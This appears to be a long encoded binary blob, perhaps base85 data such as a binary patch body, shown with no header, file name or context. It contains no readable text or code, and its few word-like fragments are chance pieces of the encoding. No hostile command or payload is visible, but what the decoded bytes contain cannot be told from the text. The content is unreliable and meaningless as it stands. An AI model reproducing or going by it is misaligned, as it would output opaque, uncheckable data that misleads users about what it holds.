zrG!4cEGHA#YVXkf$!Rl)gktRkyTs3=n9+6MMH(GESvt|XI>3njS(lp2VI@^T+?=|P zYNw5t6Yn=?dg6Py@$sC=n~&CE04{EQ9fa^W!YJ5xniSKyN;iR%E9rVOH|# zwx6@tOG0Jh%ZKqlXJMFLK8x(k+p7WBk}c7+A>RMBy~pNLwaz(U+-rzlN(J|2&~+IC z>gpji#j~fkZrHEmxBn@e^eWJqD8}xMcSD+*6mW45V#uszI9fKkb@Ysg4990m1|$Xd zTgjMo%;yI3KG}!zSY}>Fm#ipKz0Ge7qh>2&2Ow7z*`{=?9D~hT_Tl=7Fjhqghcr@kknx5ZeWemDwZwt2HfkvNhgVy>obnu-MkCHB!+H1Jf*!sB=8JORKDf9%TsbZGsH6`X_usrzl6ZkyIGyULxat90)zp#3d zLyALaa>7Cs^I(6P=xdLg-QnGd89X4%6W#1Hyfp%_eaNjXKv3~yKpyl7RseOLsFc*? zBY8-Qxo}k={8`!GY8%|?&qOJATWl$5EuN5F?5NE*H~ZcuzGey}gvFjlz{Q?)RN;s; zMEKif6r50185KX7=Jr@9@mZ*ezw#90oRr$^Qper3s02!|&e8r(2fDwL0<0 zY^JV4TIl^`)$uH*kfFcCuj=-%>=%{Ankxj>49o-_I`Fqj%o@G-F*{7}jzE1I@BV52l;j zI%Whg=j5_xWaEp5P!W@!Tb1V(OPrEUQwgMcg5PxeSa_21Z}k@Ti8nJYSmy*rrdQ9` z{T$c$tF|v>iNBJVAcU`8@uVx}Z6(zj!}S&7dJqJ`3<%E^=oL^B-ogMQr1j0skz6!* zrJRr(8-4#<=65aoFw_uz#fE$4FJ-8K=`=5H()#aSGFtyiYIJuXT-U{t<7Okul z`pk|AL9PV;@Z7axWD~J`Asu+Fe4HiuVQ#kJbC#92`<&+^} zM;8l&E8zlPAqEz$Q*zuH2=^;V@jj<`tyCt_t^oHWJ0&$OBk?NWC10LCN1w7~p z(`HHXDUBa!c}_>TN(37`kMtHxk#-UDpW?^IdjB*rR?;j*l`IJQp~OQemYX}#hQLwA z$gZhU(yyMdJwZ$>!;7^A4W|K|;_g;F<{1-3V`ufGx7_b3Z-P|~BMNWMxaA_}!~LQ$ zrvbQ~&+Kbz;3Z&Nc~wh`;ef+9C9-ZjGO#hjlLTwYo73>neCH(oUhy3G|?KF^>*K`$>g9kCbep@%eQ!+<< zg$w0=zeSBm6^49u?|4O@a~=rS7X5KAj${9*xi2yQbZ+$GylXqzJ-F$@;9DA3AKlWb z%!#@s-BLOpqI%As=lU@BW4GLQ0#%s+*L6(#a6u(I;a00JZI>?fW9@+#;T4k(gp@z- z`03n_+h{9w(AWdAF~ z4yY<|y~9B(rVofw(Opo0>0eGgr?vJNth9Ms3DM=o$0Ck2dd4m!$Rq0&Rl8q z1^WSK=4&p+w(kl}wq_!YjZ+oH64qhAN`!Obf)(mwgXPm5FN_qgf4RRcx>t&+Od}>Z zWoYSEf%z1W(aAeiVk)VuFH)O%=Pu~!!wCZUaB!QhPF=av1H_*`?y7)}e>C%$=e_UA zP|;2*>(N0@KRWIDqt>WGMw4rRtcY3>_~iMJflINHuNESx?{s-06(Uq}rE#;$70@F* z!>z5SH!kXK9)lN#8bCj*)CQb81E7&2xq3c6Wfy58OFPivYO@=6X$IB1PlM0zQbx=0 z+FLNg^#X^lF1$E(xML0`C_XREg`k?W)FP?SG}&q-jPgfarViT zh;m9RHyl{RkX)q;V~$=pSBzjdZ4EVMOOFTWKy87}1S((%OdxwtAOPo{o)4@ZdPADd zml+pNL^4z6q9nycviv{$rYn~YUH6eT1R>N8#S#e0C5T(?Q7oY>%`5^1A+&yxj`EPz zugshF6O3|Y{K+rOImIsL>(xgwiC5xi!ol_VtI;61&z-^~n?S5}D~)Kr))VllM}C9n z%yvLE@%3MW_GRgh@+!mCT`&n*L}R%@b1A>RzTPiqyx+WA)ZY9)vM|e6Zcw(a-V)xx zbUbNIrb#2xK%-LmDw)8^e<Haf^7`7+x{p zW8oi2^J+1wCzZ~=nJ$|!+j`0)e)et6>m8ERdFtBR)Y^2$=qUdM52gp&W!HQEI|j&v z$v}G0MEW< zqBJB%y#=Iy3vhLUBWlI|yuwerr?`M92IP`;Z z#QQgMYru?+F{8;S8pGcOVl2hwL0JR`u_`VuF6?8ob0b9d7DSX{Asj1}CzVH87stHi z_H*Jog5;0bYi(SLx;D>Fj{Z=|tLRsU^R?W^AF{MX_7FNUYq-I?~Yul-RI@lb+(E0TCk z?m>E&+bd&4a;Y>zv?v^`q5qnA{(dPqozEq>KCn!+%IP}0g(JU}e9DByGW03-U|@Oc z%lO0{Zj5h%#v3OS#rnOQ;4H#G&(qO22J7*Wai@JW*`S=q;UyZab|3?SuX#T8re-(B zQoM{!Hu(Se^#nZMEH7&;*bWaqmPuob`E4a=eh4eEDtLzV^Z=maoUfhro}T7&HJL}k zAE(XG`-=sE%cl2@-RP=qylETsw|z|H>Z0L1i~jd)Wr&dx1SItmw851kO@Is2L0+{ULxU6;Z=2`wa8dp$4AG zSAb{0&%8Pu~6UlPYr;ehzP6&k-Y#6j7m!NZ{ZgczYC58{JY>;l5bIo&uZ+!UoZ1D)7rqS zt5aK63m4pQYnD!$hmk%#N%u^A7b0c?kpm@C%r_Gw`tSc_3C<3gZ+kaw6O6H2458>m zYqT?U9~9;kk*tH#H?3fx>ps66VwlAEbvGoTrY~U(H}ypb8H4*I1kU2NY~(>i@P*Pm z^fv}vGJJuJB8znenUmhJE2}kduDn{IAams(!JTui?T?`l$XCPhP6C14ya|6i_ zt0$RW11oq7;T>o)m#BkFeI&X+iDuF4z|Q7bdyiT}KtOzkgM~CE0iEg0yfTQh7sR zM{G1Pj$Y+8K*Xe9V|ufXE}x73s}KsDaXgJHg2VkE9H!Z4FQBie$fj6$%cm!{{S!O= zIGB@IC^pMUyiYt^TA?Ql6cv|H9Sa`G=iHxIG1fx5RV-MK=0zBl*!Zh*kOAoj50Fuhc$ z3h_O%rZanqv?D$>rZbTM1Qx4>=httWvCeL%5Q(ANZ}=NSG1X|*YWX7_EG$0z<*tO2 zDRcu2YbS6J{6Pc$3!2K9H30EZd!+Z03~gmGyoZ==NWY1{X~=h~oa)zgr~$$; z>D`(o5VN|uomKsCkBO*5!7|w}t|Ty6K2E+Vfdf~T+=?mq(>aGF^%uQkWABEhJ>(HbIJ9~^9! z)+BNzE(%E*GAMxr4LhEf4s6Tby|`=mFiyeWeYL-bw+|dDVg8@eUe&%QnSxxKG(OS% z>aU%|L1XQU)_?cvH(?bTMBwS}>4Rmm{Q4h8YFT`FB_65d@$~}f4mmd#0H(ut!Wj9H zeUG?79R>|&@L9I0nsp)n+dZ0E178~MvZ3teo~PT#_}cI&Q9saV0o7~IC+j{(bQIhY zi-?X<8l}y^-aEZ8OBdK*Z_l))0I0YDV>GWY^ip-+Z~Z zFVjw%dFMX|Ie)}rxj#zpjfts1M9{8s#qb}-%SQojcwd_#Geh@-BVNB@=mOf5c*uoy zFtCm_t`6Po?Y#dqYRlqpEwfjQcs>ci_5gj_6MSG%A)!(g!}T~5p-5I6+D^9qjB080 zVthdENchW?_h7YCuI1Zz#A6?QGnEON`Vp>A{+NAJQ0DNXz}LywLx0ZO5dY0`D4gt* zt7MNUy(?51&DXIh>gfdg3OQD?eTPI?{*GeF^7%;jAz>;dLAPs#gte6-1aj#o-I*A?@~o%+Oy{1lM6e|&XNN7~ z2Z_&#ggfS88b6GFXf_Zzdex!RBuf@3U&<+>EpCR8!?osP;-;E!$Z^rRA83Njaqz^2 ze~vB?DA*SY+l{Mdc9!P~E|S96_*YRrRH-A_tbN=#?Qe5C?Td7@@i>19_KFZwjpBYk zZxeFC4F)0(X_%1)dBAvO$l;QcPYE+!(!q z18M0*zRzNWW722tuM2Q=)^OzN6)WR#$VfbZ-!Weaa)%@>#iz%5kvi)Ie#n28Qa(=h z9I<7%$ysu-&EPv!`+d7-b!#q8ISBGluM&iAa~4&Qp6}KR$|5qGCH`z~4Qc;QKh4N@ ztXR}e&zD*QR%x_R(`7!RRmbo8=5}LFlg?%@|q)dp`DhDuqYMxAlc+ z)qIbZriX;zj6L00Es6iUuPHPuAJ3;bh%Ll0#Iz^Yz8}k0(o?f0wc$MLQspT)SZ|jw z@PoND=KIpe;j3MyA^oc$HPShIOy8r+yN378`>SEe_O;o~gCU}Rdh!N)!YCU3oU?lN z&;As~F6jq@KK+*MBrSB0o!XCxgz4lXkaPAPGz?WumEnAS&(r9s)6hJlV!v}VM*{8G zsg#i!Iy^q!ypiDhG5-H*VP|K*QH`K4GQNln@F)7pxkSxekinw`)1|DF3dF-&5>E=S z^p#S4#w+hm7y7nFE^xLHhv923SY3cBiJ?E;U&lmPq%h_m{B5oVz}Lt}HsbHjuz57( zXJ=>oa};xSsxq*a2~eJt)t6V|BEiNLA@rf<&ivn=5rlx)pA2;9c6Y@WOEC|$vYV~s zf4tRC4*a!KV`C3%O;*91W@}*)!h#QWX}afiZh=Hdezv)=Kw6qRrcDw-Nwublz*FS{z9lZ)dBO6-!ZhS{C@E*+L~BCn zEa%C7GNK<_4*r|3mRE$-?Cw5%zR`a0>{c8e)K81)kX*jGuV zZR@v?w-70{EwwEaHL%|c&$iN+tPI_n3|yi|^{drQx_Yf2-;Shea}#=q&tRZ-d$n;{ zlp;B8pP9uCCs3cNAAp~Kz5rTR@P?)X&TIiNUdMobbclo@1YMpLn*J+_F)F7fuOj;J zOb2DQ_}pq1a4lRm*0k3LHW(-gsjT_o0NDv*XCSWaBrnqEhcMT*evtu9d-lT$jYKX9E|;!ieaJRinC(qtpYv6X!5t3ou^@tn3A8 zEIn7}C)VBPYf1TjJ<;R#KZmX-2&l;_?J(y6pBv52li^0ct?+LDCpSLo@&iq*wSy~1 zwDk$S-)N)=+4B@czGo<@%ORng*ISniB7%5a zs$7{2?Ys+oV6`WOFxiVOm-)DQSmh9Ier|_;+zSFTMPF&(}sX zxOM2Gy0H26&|eqHHR#!gchQA<65-wn+{KCcg2H~|ci^x4Vc^dFz)(dgw#80~Sb^i7 zj+lf&jPo^y2h?`*>{BEWwZJkueFpUUetV)leh2<3$^Tjwav0leXIcJGVrYlj9Z3IC@7csXa25`lZ&5eCnPG2Rva)PKvPTO#+| zwC*E+)npiZ{7k3{rV9O?NLJ;>6oFzt{lF-bL`gBRKZOm*F2$=v0OtFmCD3%!hdBTD z68{8O-xyY{Q9IogbaW8#oq!mHJ6*!;etG|;T~0H#rVw`v!L1tZwOEx&Jg;{L2&iOP2k(#4AG~T``!+m5!LdZ9N=ZnfCTa@tohzuzpgR3Wv z`ogQ~ioc{W|KYSCiiAL&;PF)O91_YwYf1AAq$R)Lxwu$UT>Di}JQDivNsK@L_ascd z5_>~!mEh((9TYmtfL4lgki4Ltl%xA$sm2;huqpd7IWFtFz7uyu;{+O1iaImEQ3fjE zBhL`2K?tYT9Y!g(f|b}QtELM%^$6&<~)n(?PqA0-y z7D+;PdN4nCNCDRPGd`7C6FcBlS_wkPzWw=p%ehSKma%zz{(ao=osiL>*#0>V^#ejN zfN7QQ0OO9og|HizdC40yW%R27!||f$N)xDCX9FdU3P>x9Te91eByP7$sF4qAajPvN ze6i1oxT|J_F&cr?;1+6en{F3IL{Gj#Dkc-ps);jl4BXixkkX-4y8Sl6x4b`G9qAgO zTp9bvirkOFifR7s(1{RaS4IkNoM)cbdAIVnAJ7gSz8W5SV|m$A?cniXyappMT3Bh3 zoANVdgJ!qucI_w&vlJ<(4|XuEa%vc_^7tox-;EH3*)gZP03Z$(25ZY@-~gnSK*45g z9EEl(bvys2l?I0~`6JN{5U7=q<1GWE2()x`Y<(i2Y)-v1te#|1w3ABQAoL#i>_fAB z%u+x!DbxFh<$OcOu7@8rD1MBwXpA&)dFVgIi|=;&@9Ga8>NrK>TS;}aSGJs>XpYZ| zD?`1gM~L4W&+Ad+)N7?W z8!aK>cVL62-2wCHt@-^f<~1(G(|2)X;FnFD_@^k*^mRFqyAM7nZo`J;Z5hdb&jX5}95lB?X zN=gzcOv8{T4jQswJ@502KGaK#k*{h>%gLz;xbil0(|$(lV0cgPPQIsHEG%C8V%3cy zU@x3+4r26R{I)&87aFJgPnWD3L@3*NzRfF0qz5ryAEX)f8{s{U+}O!hd5lR$Noc7? z+zQO)o&t!MH+38M9)o3b&S%#23~tb0-P~DepsG(K5F}OwgELc8Qw%iG@#1Wv*)0bH zLH}pw-W;lJuWgZfeJdR3pQAy(lu4~74VKeBuZRF>@!FsM>8frEhe!wOS4)$ociqN%_)Ke%>#yC3QLbTJLw|6-iu^u+ikElC3j30I z`K0xJQ_N7Gr*;Ahdi7vn{9xb@QH5->J1+hs?ns@|+3}%+Z1()}HPYXm7&d~Vv$7;= zYj_W?4^o;vdhVs{jc5pN+<>(V32s^fHfhRziH40FxW zo^2+9)4#ahw|pFQA52+X8gWxj+NPLJ1|YN?3MZ3n7HxLTgHKn`9%vaF^wyxKa--Kt z+xs=fGj2r1Z`7d!IeVV%yGXzySfpPtCS%2{RWTzv|0R%}^~;l#BL;{IZ2Gw5&X^kq zpMG>53lbClKrG-wqUsT@=Tb6k0={f~6(6F7)Ow(o#wZC%5WJq|Tpm)YNUHWB#O%hZiN9sRzd9>YV^xhW`9FR;QViQ*NtW9%GHMa@bC}-5oE2d`+0HR z##G{97S;1m=C z1mrrPxMq>C^1;oOKDhD6&BXzn=Ds25J~e9`;603 zM7$3z7m-OtcOsR(;XaKdN*Xq68pv)c!sId%ff!44W&?_9}9^%DhEoZ06 zS&G$Keg__J*W>4*u;hGQ%bRn#&Q|!-A@ISJI&QuLOCL+$B#1Qs`+8z0Rjw9qO$GuG zSahPB_lJCDJnlTcy@9uJ+k4f-RWI|W`hf3Mj1Pmw~O8746m zWyfl1^7dEfA1s*7an;r0-6l5z8S(P4#%H0nuQO`8415|wa)JYJ>vzRS)>_tQvl`&` zvHMa8zoDn}`v^!g@fP))<=|gzh5wykX1XgpJ{ZXN&9G`{wZkoppd7(4slj<(lhVH0 z{ym<_%9JJVF~iZS{gp~-1V-uGw+|lRC}EtQ>^yS2{y%ch3nHHB!Glq>I$r_2(}Bk08MW}wJ%30E3QWRHv^(+ zcQVk~tsuSa=nRk2TxQu@9+@@qJaefF_#%g2=q#{Ysf|VBLHg!zRTT3z!bT-~eP#ku z!cyveNMzAuw-aGRV&;G4XXjeOipTh$Vud75JXc@2T<=!PJzC}4%ZgK&FWG=xJwT_@ z=+*&|Y)S1ZUAEsUEh9bpe)MmSN}-gVuVltEDCon90@_=~@7ex57*8q1v7457_MCqm z@w*zf8OpI{-%dA{k7!>rUOI=XY_bwEK;L44Ha>_-)wSAk#Ut4HK=a(ykTu_em&S?4 zNhZW*1{uuOT;$oG>CKgrrBI?kCBwA*QX6AZj=K(doLsxuzq28Dk=CHo0L~5Agrt$6 z418Ifg-luQ0kG z554Gknx0Q%9sR{2^JB1?I2|Uy8Ir2ev}FfqTcgXscfUEbWzvNSVC&1f%Jp+F=Hf{* z=N7uJnih_@?_-1q2BcFfo-(gp+GyBmHx(f9S_|l_yh}NH1UI?YbWm_JRabO1-vHpz zHfvemv2+XW4ODtS^BIwO4u#Y7Td2UtchI75;55ydE3D)-xww!1ouB^ip|k-CVX1`q znV9w+)4=^slUF_W2JXCyEfPPUi21<%zE4sodzNVV=mNSmGVU_Ebr36OJ(+CauUq_;O%{kmdDVCb2lKmB+UF=uX?azlA`6F{w;@*v-!c+IcdNTss2q0qnegbfJiT-}mCf*V}hROvxOCLpv5O117Bn=YFbC0FMZnmcj zKG(T@#DeQ$gw3o>r34Vd?hF>fN3Ms}#)0&i0^Wn-=hx6a+q(LC%o<>GLtULT&o#_f z43FQKR=@mri(X)SE05t`Z0gy+vb9Iv_@-+C%GqrH ziiZd-G@w{y2))s2aE28Z7q70ZyhCZgW_q}2|tIJK?nBJz%A*gXUKmN zF&ZI1=$%=9s3gc(Aw{0&&-6yc^9sA`b7LkJl@L|1n6J_9ao+pf~92! zKF4se>SMk*VXROvzv#d~v68%d{Jqc_4;NqKo(qF&E%E)y&sSQ`h9F@Zgc+q|z1d{P zcPRGR&l+Z^FH;0N&vgBZg0a<;;<`Lxph4di{eiAEI4n{J|j=4JRx=K@}`nz@5S)*P-Y;8!zQ9#bs;rCilC`T{( zYTD-P8?O8tjR`3)9(^yTOHcEY4>TRggo$p(u2oJtRZehh+uoz zG+Ern{Y%=B2;Ija(Jq>7W$md(OcFx8Rhblt$D);6658iiq#c%KN24?a)uD|2^TM3X z_zu(jT%McN`%L?p-1tKLn>G5#p+lOzZONR9E)})Fd5Yy$iZgq7l!Io*` zk%QGbs|i6CPjEaX9zVDxa_|Aar+PTM-TT42bvWE?L~I4!wgGW_&hRFio;!>t=#|B~ zp4AKvaPJ0yCd2YT6MHU?Cb0eVlxj_wcA~}y!~CaGylfN{BdBlB@B5MgTQPEVz^DJRz&%XD*@^{rzMA@TF5#KDPtHM{;uJwkTy(9IpzICH_vgYL0qxCk$ z9c)zlP5)sw;sa<-@6awh%YPCF;3ojo5GcF-&)&QC6q!qc)V4$Og0rXaq|fH6k>%;* zO9aSu7&2UADq?yH!;vH$#TJS-nA8sVN{d2olL)CMnVu!!PimpMTfK8?GFk-(^!l zTY$?zI(Ht5A>4#k_xP~?({teH)GOZ_IW?tqDB35SNUj}coclfLiN&R027j^%x zZI;p3Km~se3E2#1fDA)hApSf0ca7i1KY)vTGUXuJ!>`t(hy3%&Ded84v$+T3J-S0_cQ9aib4Mij%G75W`teWn z3tu1m;2iyj;w(+15LUs!L47PfkomwQG8`>whK2hFn21sks))ZFx0 zB?iAC=(co2JVM-J$6jp4WGXb9fCM{VJh@`uR3{iF<<=_Ux!k1p;7AOI;K0H#q-(W= z`W{C=gP+i~j{#0nh4P}`aCb02d3>noC3Y=T4o1_a%=a72@IKtMzakzNy6FIuGMXZ6 zo5twY&(w?O*HTdY(s&MG#Q=j>#Bp5IuY@el?JX3O&*zWrXxC(FJXgpJaLR+O7KlWH z#G9VuE@|hd4sd^bAP6Z>aG8e2I?h8E>^03SCA@K{V3`$P_E1gE@Bc$TpF{0`B{?<< zpYS0unp|8nE0W6xtK1tjpVuF%J%0oL2n)AKC2Gh0Ji0xxE&B*p$s^dYZ+Q68*vekL zevCLU2gl_;E9^d&sJB@xQStSz+LkMY1s6kVoqFT!`sdqmwerG711qJiW3wG3WVMm0 zD!*tG;_;s8lT%Sqh4D7ElqnascsrX&3if`q^5EdD2R77>oA?4HS|D6r1(N-Ou>yS) z2og!FN`+KqcWqW}wT1yvJOK;H}EsK+{*X1ws&bXR{7Wp9scu}?d?hLYDgO8@_pAX z?m>1%1$UEt30!N-#knPKKJFp5uqvpTa#*Py;`OHP!G1bqiqqlzUf%9bYTq7Zs=e;= zv5>18YB7+M=O0z}pGtOv5HB$MpQsiIa0-WPr2Sn)-+UApbC{lXF~?-aVAw$J;HmiRqL_h<55(!)OC>RFouL zy?aUr-#?Z=HuJbgYUyqi9^cWX)&;#@ z_GHUz9vB!GVqLH^0}(@mT%3raW@}KT@*!phQix4_v#Q{02L}p? z^QHc)UYk1;hPCYwTPMj*aU_Zm-@J^1PUVX@r!1eWyw^W;+d}-lf6jDPpRo%MIk`o{ z__vQY$14(LpLjwD!Zz7Sv)kEQ;`QjG%DWOj`4veUle*Zxj8K!%9f%$6t{+vArthrq zUET^ftt4v@weBHKko!?9oY3!;HdO^KMru)HbJW|99C!242s>eK?DJnfdKwR#DxAt~ zzWWv)Iy}LkZt?p1oAuhwixJ!ZxO2$?YVmVd_&_QXL;|&Z68|TanfOoCl#RGvi8u5S zMuE_Kt;glIU!BcP`AF#3v%19cQO~OF6A7bNEzPf`DlA%PrFW97kS}|O(?7AfyB57; zz%yRrno@QuaMgWzJ3GR<-PikC-F7^`)YY}5{May$Zx55RH>jgK<}L;tKATO?;r1SJ z5nd>$OAzEdDhC%QJW1wCD9=MH!n(75P0_6DkZNl`9jhe>ot#H+y<;sv*e+lkYTnl3 z1xOGXLZ-v_rszhU&daUpogJiVW9(pLtPl!$clY+RE1cOOw^_SA&qn+4U#;sGDp#wY zx-t6W&!2z6xZj~=?l4}R);MxUE9DWElFg`KgXB?E`|I_h4<1hrP?fe?re8>1r`{WK zJ|2GWuU#DRwZBht{Gh?Mb?fl@D@w842>|H}p({2CU3ZmzGk=$x_*oHa{GtVm-t>_W z(w6SjKl1CF< z{q<;XWmYSnU-{&_hhF)0Zn$ApJ86*R+IK8Ff2R8CP*E8JA()JLd!dr7tgJYDA1Zls zDHMO=>+N+3Bf5QS#Q8k(7nP}jZU{#1<46_6e|j@NU&T-QRO^`9OT-<4q-Vxn*%`1`3bK^%rHA?P@Vlh@gym zy3Ko*l1+~N-m*!^V%ns4L%Y#Sm*!JV8e&xKnL>tjlX!u(zi1ww&)X&!h#wCB;ZrlI z%hbJv>=p?*w#0Fse5Ld8PtCCq`j=oB>IH517k?L-ntGSFBggOkSKWx8uQcjQ=Mr`0 z5Syv~4az3H!yT^5r-)C<4hBJwC1&Hr6N$Fv<)1h1%Z@hhPlkB()owYhT2!77@=!%X zzG-@Wip_i=%^f_gv@i6ccCTCE0)DQOj?G!-Eq$tBsQxuxOn{0!k_w1k)OmHBlAb(^L%GiO}zI z6hg#=&Owo+VyzX?bmQA521XsJc*LX7mBlEKQeMP%R2BO)FOLgl;5o+v4h9X~uUpTKGTej?Sy-ct8){wO@{%p@V_n*9N3x><$bRF>$m9)ze zf6=62&vNOcQN7p){%p8$-WFcLA#1*HNgrZrbOHL8#SPYOetZU!uVnoPuY_j>by|=Z z71GwMukhHSl0FW9SX>DU9qS!m?(jWyg4_o~f#v8d3vn+F$tZ)IdxJi>c}_q71i!2G zHDsc-s}1eOf2MF699`$p8DY)kwo1b2kCyk5g zy!k5MnS9xOZ+)SpW5$RPT|3R`=TLq6^S;}Sqh)^W!3pQLF!qQ9s(c34-5|jn8E^~z z2;~}(32Ogo02}@j#9^6=&KG(HdqnswjBtDaUXUAn3 zrGGbJ5Ey?XFLNUK++8}3xJIjT)~g>zPixxFyy#|Kbz2@g5x*1Hq-+o|eR3LVB*nng z{+`47m#2JBofP}5>dr<`*2c~Q)t@EpMya*#&lFE%sbz!TVQS)^zok}RbdYfVok`;+ zm6${Jm3llo()1vqpCV3Y4@J55vD!~Sh$N3w?p@RlF%rL+nMJILOZv_~h?ei5EMYJK zCvb=bu?Q0~7-rId^3L^PS7<t9hpExxQ)BuI@w5H>zhU^Tf z^`i-RMx{mYL_+ld1HJ*)Z_w7&uv}w=Nmo^}NdQUBScDqxr$}#01ebhjEOdA@KJEFI zD&6jFS+=`|-nyiHo1N(G^HKtgCpHJKj2?!Q&gqy_Oq(*vI($jL^5goAjZeepqkfuu z9u+@XcRKlG{iW#iLBp4Z%WE}Rq3wGu1a-hryvobn$m#XOhF_va2Oa<=MzG_LByl2kS{IqK9AdK% zwj(u7C4C0OopgBP_c3q7#u4x%kW|o*nUTbw@YB&%UJ3j|c8T=~{9)&xcu(=%({Vra zv_;3C$6Oe$$p6Ta9>#MS=8K&c`a_%SxE?!S{3BFy-soJE!`lZR)S<`D&iZWeY#M%U z5X|MNVq7_u(DG#q$r3~|*HMsPLraNl=fVFxpdv6>5IG2ORN1qq799k9#Jl@?ybcC; z1xx$viutajomK7Edyn6A=75>T^(>9EQ815|2Gx^iwU0^3a{Ehzgd<#e7eYo$LNO8EPK8Eq6fjsmzz~eZhs@gX(_1O zzMeT9FZKGv%P*UQFUy^Xp~rUGw@DG7qimH_qN&&rA83OhXs6nJ@3=qhC;Wewhz;UQ zq&U=5wS8C#2?-hcv)rMYK&9txHER2g;O^};>lgKA&mCG9g2?Hv6!*2)Mec{^alb7i zzKkX`;$QE>>^$f|ZC?9+B{kz*l)(1sZsuIcXF1Xe#I>QTV7PE0g3? zgL{Nq!CVR*m!#88vSc@cC~rd3!xxS2_h0x;u=d-h5_l}D&)cu)J!{iA5qBa|{qd*6 z?2#lJG0Vt6ILx{y7nY`wkr6htb+Z-P19jB!&B2L>hTIW%`{i5*wfH8};gx^eyH(BO(z(maCH;e@DH9wnEa5wx`IX(nzgZWzV>j z27eYGoz=#T`mL`-ZQ0ar%qmSsirb#P_3q>y+4_8vuho%JwL}(JZkT`q8xarnuQ^SN z+ly5Q0y_rfad8Fku?)CAV4WAoo!yFhe_9HlQoN=e9d8ZWpBy_n-17ec<7GGR`DUoJJ_++iSFbuHp9XF1WucWCZR<}z{(1aMu8L=%+0Xhx;saDs+qX}% zrVU<=ZkgyBWZF zTkY$W^sTc7X~u5^hAE>Q8r95jskT#}mfOs5U$VLrW|RpoKDCXj$Xgy{m8|9*+jFER zSaLjB|6!{5*{2`7Vk>7)mXHuJTI^_7cr8tQxx29ze)3hr{em8D=}TuPNxv0>%Cw&4 zlxmsgg}5D8JlKf|!npE5yYk5U0|=DGOZN}ForE^58;*&ttv1?ms~h>gsmDWr+8lp; z+_Lb>60mCJ7J7(3?sw7^vou@|{aZfjv7p!1a`=lloE_1!gN?&BOEZ7?dMB zdX2-SPew?_kP1FdycC8nDRTE3dXQpojO~b~r*9O&0JQX7F2JZ+p;?1MPxZ5>MBIUi zFdzSA;P+Nct74Hz(=2PM^EsF@?^ZnQgcKiuQICQi>o6CpnzO@bz3qx+>?x}crv|tS zgLb@XyvFWlWzV1fYLw6^W$n*!%DmC?zNPKcp0FOi=cMhCckfjZEdM<5P_{lbZ`?;> zt1w<@wn4P({)@)peq!yl+?>@br|8=L6dCCR_Ek%4c!mo(i*p_ATzvAoaj%B-xAdi` zO}+G!7_Os?(^=y+oUcXPPwutS{@QlKZ~c8DnKSbqTVV0M55bKy+BK;)Ixn5bmc^0o z*2oxbsHpMCtQ}K%tc=L8RGDKEq`LI}r{(%L&&f$mRq^j-)f=3zMniIaG+16-g}9(O z=7@KYwF^A>&Y$>@K|nDCW4DzFwI*{43zOd4E<#KkvOD-U zsZM>by7SU0+$3B$nAWvX^}5I`ckj$4hNO1(qhWW|t|a_@@H8C$ zF8%H=73K_&_PeTVw-P&~tB0qZB#9=bSX zSx;nABQF{7RA_>Xn?Jg>(ptgkoF zd4cT z^Ydp$r7z9mM1Ea&&SwbRw-gIcvRRF1*>Kw6+ahy!yIep<5DdwJNdeTiddfWagmt3x8m8cMiOnAM!$MoDd)C1%-Gp z>dWUVGWRb79X)uhW$WkVt0#!uC*_}Tc38Lg>7Ytbx*xje>xRfmXV$O8hThO$QPupS?K)6Sh7-YDLGW7;$@aJi=ig=kW*;Kx^UW2U}z5zcSE0@9zho z&d7AhHiSG=64MX*zED0AsOKg3O&pij!nl`zH*WgC|4T=){}&6Tw`S!Q8*NX?QEpD${(AM9_k=rz<=M4p?d#{_8 zraBQsd1#P71M+%HSV32XkL2+FBs%cs=H0$z?M%BYc6Da_|jj<64;xU-p@+2M7o8s*kOZrX#aOu*Ckl*LC$H51T7*v2G$(UYC z) zp7r(M;@tt~NrS^xrYrW11_GW$5s&swJW&vzd-EXhwr|v65fLF%>!>v!nHcxf7Opa} z;gaj&p%%vl$aw;^6@+IbM5H2+fk2Q@F+UFRRl+hhXPZgDORn) zRLDW;9Ix4fCNexyc>VUY+sRuUM(w-4-#<6}e(^`!hRWlUkbsDgtn8m$!{&^yi~Eb} zag$`vFRPSJtQmSN?JCB`U+nulKN@u7Ave}MQQ$;Xk4f!@YQXNNiniY90nFw-LA{$( zfem)w;)<8vJn&9Kdv{E`J%}}@NUTX|`m>%_E6Bl>z~6y7eUo|PZ|I+FYP(riywG(GtyyqaxE*LrK2Aew=M*yR9V+cb!KTVNP72W8TTb@2`gjAuU4F9N zY_V8@sgda7tz{&aD!%$JOB|QJ0!>2?IAu_$(IWC{zc7d`IHQYH%GXYcSE!~`x5mSq z{%b||;q9nPJX8L5dJ7=`j^FzxuP|JZE^lYk{r-Hg^{l65T4IGc@8u#Ld<6SGT< z=A{l1f6(kWSrjx7oA4-Fmuw(FW*V&;Z;j?Sdog!v>ThwKH(x`R`(Ysgo#Hq4^+7r8 z?c2Bijt7!k?r*O;mg_kRU3NQ(LajxFokgMis<7Jq0whcywkz$%B#>ygg1mfWhV?DA z{Wsg!o6O=<<}}pQ3akYyRany=)Y|9Vc_|+h5)yqGg+divj90XcS9C->D$+$@oP_S> zKI8!ga;aD>?cxm$)wZS)3=vZ?uU{uIrS#?GTJPsQiplu&iQi_V;{FG%{C18*-lfwh z)YK)S8Wf6QSw+lRFfl7p;CnH%a|uTh`PhDdfQv-(GWSkibyyA1xiZh zh=ypFK+M7J#x9`X#l7uo?uXTL(ZV`HP;;}^kS6?#QCL{pVu}C4^=l=T_jLgk2pkJ_ zgoBXsD;hE_M%!j%va*^dSKpzduUU4!da>Zj&eFz`%sF{6W6m7Ev-P(9%rnD?hPTj~ zWiEu?Co)Ezp}i_E>RY)a3f0I*>4%5%>+=vxv+jON75q9QgBiKh!AiG$rS6!9$*7i% zt+v-nIXOAKFnu!PHvUV+cIF^z6_;{N%aPVhwFZTOkp|3X77u1kvczEhEYAB`;scf^ z8R03%Swo9Y`o?ZV^X&JvUOs=L3>%xppJs67QmFQxEnfMx%BxsYwY^uDsU@ufeR1<8B5$~nPgcGsp>sSsHMK#B9 zeu()dOO+Ca2OoU2AT3Qq#EVJ7>g9zdrgS{8vk{#8+Z6p?Gdq0n(@q30>)$47mU)7= zMn?k{0_&dj+$00mf* ziHL{@+h(@cXQI^oH~9*SG+Btsfy?b6B1Qe>Ftx=&3nEgTd~PO|N$Xad=;2x_Cco)O zi!BVvGy5T4A6U>&EJonG@{F2MH&>#oN6addSH;5XEbG_J53lrdHcdwkGxF-aE=qPF zy1tgGQ^NLIWs#U|m@)HOCL6QR?}dxJT2vC1Uy73po0yWH_!807aTm#Lm^oIC6b)Ew 